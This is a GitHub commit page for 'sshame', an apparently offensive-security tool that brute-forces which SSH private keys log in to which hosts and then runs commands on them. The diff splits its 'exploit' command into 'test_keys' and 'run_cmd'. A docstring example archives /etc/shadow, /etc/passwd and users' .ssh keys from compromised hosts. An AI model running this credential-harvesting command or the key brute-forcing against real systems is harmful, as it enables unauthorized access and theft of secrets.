Skip to content

Commit

Permalink
Split commands for testing keys and running commands.
Browse files Browse the repository at this point in the history
  • Loading branch information
HynekPetrak committed Sep 3, 2019
1 parent 0298330 commit b257069
Show file tree
Hide file tree
Showing 2 changed files with 31 additions and 21 deletions.
12 changes: 6 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ sshame is interactive, based on https://github.com/python-cmd2/cmd2
(sshame)

Type help to get a list of commands:

(sshame) help

Documented commands (type help <topic>):
Expand Down Expand Up @@ -84,9 +84,9 @@ List loaded keys with `keys -l`

### Test keys on hosts ###

To brute force which keys authenticates on which target run `exploit -u list-of-users`:
To brute force which keys authenticates on which target run `test_keys -u list-of-users`:

(sshame) exploit -u root admin
(sshame) test_keys -u root admin
2019-08-25 19:34:31,900 sshame [I] 'Preparing target jobs...'
2019-08-25 19:34:31,933 sshame [I] 'Matching keys - 16 jobs scheduled'
Completed: [####################] [100.00%]
Expand All @@ -100,9 +100,9 @@ List matching keys with `creds -l`:

### Run commands on remote hosts ###

To run commands on remote hosts use `exploit -c command`, e.g.:
To run commands on remote hosts use `run_cmd -c command`, e.g.:

(sshame) exploit -c whoami
(sshame) run_cmd -c whoami
2019-08-25 23:28:22,757 sshame [I] 'Preparing target jobs...'
2019-08-25 23:28:22,763 sshame [I] 'Executing commands - 2 jobs scheduled'
Completed: [####################] [100.00%]
Expand All @@ -114,7 +114,7 @@ With `commands -r` diplay the results:

(sshame) commands -r
Entries: 2

| guid | host_address | host_port | username | cmd | exit_status | output | updated |
|--------------------------------------+----------------+-------------+------------+----------------------+---------------+-----------------+---------------------|
| 434f163a-24b5-4775-a3c1-6ea41745b18d | 10.0.0.2 | 22 | root | whoami | 0 | root | 2019-08-25 21:28:23 |
Expand Down
40 changes: 25 additions & 15 deletions sshame/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -84,6 +84,8 @@ def file_len(fname):
pass
return i + 1

def truncate(data):
return (data[:75] + '..') if len(data) > 75 else data

def progbar(curr, total, full_progbar=20):
frac = curr / total
Expand Down Expand Up @@ -502,9 +504,9 @@ def auth_banner_received(self, msg, lang):
pass

def auth_completed(self):
log.debug(f'[+] [{self.log_id}] Authentication successful with {self.key_fingerprint} for {self.username}.')
if not self.key_fingerprint:
raise Exception("Authenticated with no key")
log.info(f'[+] [{self.log_id}] Authentication successful with {self.key_fingerprint} for {self.username}.')
cred = self.db.query(Credential).filter(Credential.host_address == self.host_address).filter(Credential.host_port == self.host_port).filter(
Credential.key_fingerprint == self.key_fingerprint).filter(Credential.username == self.username).first()
if not cred:
Expand Down Expand Up @@ -588,7 +590,7 @@ async def run_command_on_single_target(self, host_address, host_port, username='
log.debug(f'[*] [{log_id}] Connection created')
async with conn:
for cmd in cmds:
log.debug(f'[{log_id}] executing cmd: {cmd}')
log.debug(f'[{log_id}] Executing cmd: {cmd}')
cmd_alias = self.db.query(CommandiAlias.cmd).filter(
CommandiAlias.alias == cmd).scalar()
c = self.db.query(Command).filter(Command.host_address == host_address).filter(Command.host_port == host_port).filter(
Expand All @@ -604,14 +606,12 @@ async def run_command_on_single_target(self, host_address, host_port, username='
se = res.stderr
es = res.exit_status
c.exit_status = es
# log.debug(f'[{host_address}:{host_port}]
# exit: {es}')
log.debug(f'[{log_id}] Status: {es} OUT: "{truncate(so)}" ERR: "{truncate(se)}"')
if es != 0:
c.stderr = se
log.info(f'[{log_id}] [{es}] "{se}"')
else:
c.stdout = so
log.debug(f'[{log_id}] [{es}] "{so}"')
c.updated = func.current_timestamp()
except Exception as ex:
msg = str(ex)
log.warning(f'[{log_id}] "{cmd}" {msg}')
Expand All @@ -630,7 +630,7 @@ async def run_command_on_single_target(self, host_address, host_port, username='
if conn:
conn.abort()

async def schedule_jobs(self, usernames, cmds=None):
async def schedule_jobs(self, usernames=None, cmds=None):

keys = {x.fingerprint: x.private_key for x in self.db.query(Key)}

Expand Down Expand Up @@ -686,21 +686,31 @@ async def schedule_jobs(self, usernames, cmds=None):
print()
log.info(75 * '-')

exploit_parser = cmd2.Cmd2ArgumentParser()
exploit_parser.add_argument(
test_keys_parser = cmd2.Cmd2ArgumentParser()
test_keys_parser.add_argument(
'-u', '--user', type=str, nargs='*', default=['root'],
help='Use alternate username (default is root)')
exploit_parser.add_argument(

@cmd2.with_argparser(test_keys_parser)
@cmd2.with_category(CMD_CAT_SSHAME)
def do_test_keys(self, arg):
'''Test avaiable keys on target hosts. Specify username with -u parameter, default = root.
E.g. test_keys -u root admin'''
asyncio.get_event_loop().run_until_complete(
self.schedule_jobs(arg.user))

run_cmd_parser = cmd2.Cmd2ArgumentParser()
run_cmd_parser.add_argument(
'-c', '--command', type=str, nargs='*',
help='Execute given commands on target')

@cmd2.with_argparser(exploit_parser)
@cmd2.with_argparser(run_cmd_parser)
@cmd2.with_category(CMD_CAT_SSHAME)
def do_exploit(self, arg):
'''Brute force targets using available keys
E.g. exploit -c "tar -cf - .ssh /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode file.tar.gz"'''
def do_run_cmd(self, arg):
'''Run command on targets, where we have a valid credentials.
E.g. run_cmd -c "tar -cf - .ssh /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode file.tar.gz"'''
asyncio.get_event_loop().run_until_complete(
self.schedule_jobs(arg.user, arg.command))
self.schedule_jobs(None, arg.command))

commands_parser = cmd2.Cmd2ArgumentParser()
commands_item_group = commands_parser.add_mutually_exclusive_group()
Expand Down

0 comments on commit b257069

Please sign in to comment.